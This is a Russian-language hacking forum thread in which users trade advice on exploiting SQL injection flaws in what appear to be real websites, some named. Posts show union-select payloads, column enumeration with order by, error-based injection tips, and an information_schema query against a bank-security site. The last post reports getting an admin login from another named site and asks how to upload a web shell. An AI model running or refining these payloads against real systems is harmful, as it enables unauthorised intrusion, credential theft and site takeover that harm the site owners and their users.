Ваши вопросы по уязвимостям.

14.08.2014, 23:39

billybonse

Познающий

Регистрация: 09.10.2011

Сообщений: 55

С нами: 7680566

Репутация: 1

И еще вопрос (Простите нуба, только учусь, вопросов миллион)

Кручю скулю:

/shop.php?cid=34+union+select+1,2,3,4,5--

ошибка The used SELECT statements have a different number of columns

/shop.php?cid=34+union+select+1,2,3,4,5,6--

ошибка -

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /home/totalbha/public_html/shop/index.php on line 32

error in counting subcategory data :-The used SELECT statements have a different number of columns

При увеличении опять пишет, что неверное кол-во колонок. В чем ошибка и как ее обойти?

𝕏 Twitter Reddit Telegram Копировать ссылку

14.08.2014, 23:49

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от billybonse

И еще вопрос (Простите нуба, только учусь, вопросов миллион)
Кручю скулю:
/shop.php?cid=34+union+select+1,2,3,4,5--
ошибка The used SELECT statements have a different number of columns
/shop.php?cid=34+union+select+1,2,3,4,5,6--
ошибка -
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /home/totalbha/public_html/shop/index.php on line 32
error in counting subcategory data :-The used SELECT statements have a different number of columns
При увеличении опять пишет, что неверное кол-во колонок. В чем ошибка и как ее обойти?

Попробуй перебрать через order+by

15.08.2014, 00:07

billybonse

Познающий

Регистрация: 09.10.2011

Сообщений: 55

С нами: 7680566

Репутация: 1

вообще безпонтово. ошибка

Error in fetching category data :-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union order by 20-- and status='yes' order by id DESC limit 0,8' at line 1

и по увеличению...

15.08.2014, 00:30

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от billybonse

вообще безпонтово. ошибка
Error in fetching category data :-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union order by 20-- and status='yes' order by id DESC limit 0,8' at line 1
и по увеличению...

А минус ставить не пробовал??

15.08.2014, 00:43

billybonse

Познающий

Регистрация: 09.10.2011

Сообщений: 55

С нами: 7680566

Репутация: 1

пробовал. та же хрень.

15.08.2014, 21:09

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

С нами: 8469890

Репутация: 0

Цитата:

Сообщение от MaxFast

Может быть, конечно, криво использовал select и подзапросы, но всё равно ответ был 404.

Код:

http://www.awards.ib-bank.ru/participant/-1'+union+select+1,2,3,4,5,6,7,8,9,10+--+

В общем вот инъекция сама. Тут вывод полей как видно.
Я первый раз сталкиваюсь с этим.
Конечно это может быть и WAF'ом, которому и комментарии нипочем (Всё-таки сайт посвящён ИБ банков).

http://www.awards.ib-bank.ru/participant/-1'+union+select+1,2,3,4,5,6,7,table_name,9,10+from +information_schema%252etables+--+

Фильтруется точка

Цитата:

Сообщение от billybonse

вообще безпонтово. ошибка
Error in fetching category data :-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' union order by 20-- and status='yes' order by id DESC limit 0,8' at line 1
и по увеличению...

Через error based крути

15.08.2014, 23:38

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от None

такая же фигня, когда ставлю точку.

Ошибка синтаксиса - это ошибка синтаксиса, проверяйте запрос.

Цитата:

Сообщение от billybonse

И еще вопрос (Простите нуба, только учусь, вопросов миллион)
Кручю скулю:
/shop.php?cid=34+union+select+1,2,3,4,5--
ошибка The used SELECT statements have a different number of columns
/shop.php?cid=34+union+select+1,2,3,4,5,6--
ошибка -
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /home/totalbha/public_html/shop/index.php on line 32
error in counting subcategory data :-The used SELECT statements have a different number of columns
При увеличении опять пишет, что неверное кол-во колонок. В чем ошибка и как ее обойти?

В коде два или более запросов подряд с разным числом колонок. Вы подбираете к первому запросу нужное количество, но оно не подходит к следующим. Крутите другие векторы, к примеру уже упомянутый error-based.

17.08.2014, 14:55

billybonse

Познающий

Регистрация: 09.10.2011

Сообщений: 55

С нами: 7680566

Репутация: 1

Спасибо, попробую.

17.08.2014, 20:20

Satd

Новичок

Регистрация: 13.04.2010

Сообщений: 0

С нами: 8463205

Репутация: 0

Привет. Нашел сайт может не я один наверное)) у него есть sql уязвимость через который доступна логин пасс админа. Но под админом не могу залить шелл подскажите как быть. вот оно http://www.planetsmag.com/index.php?issueid=63 .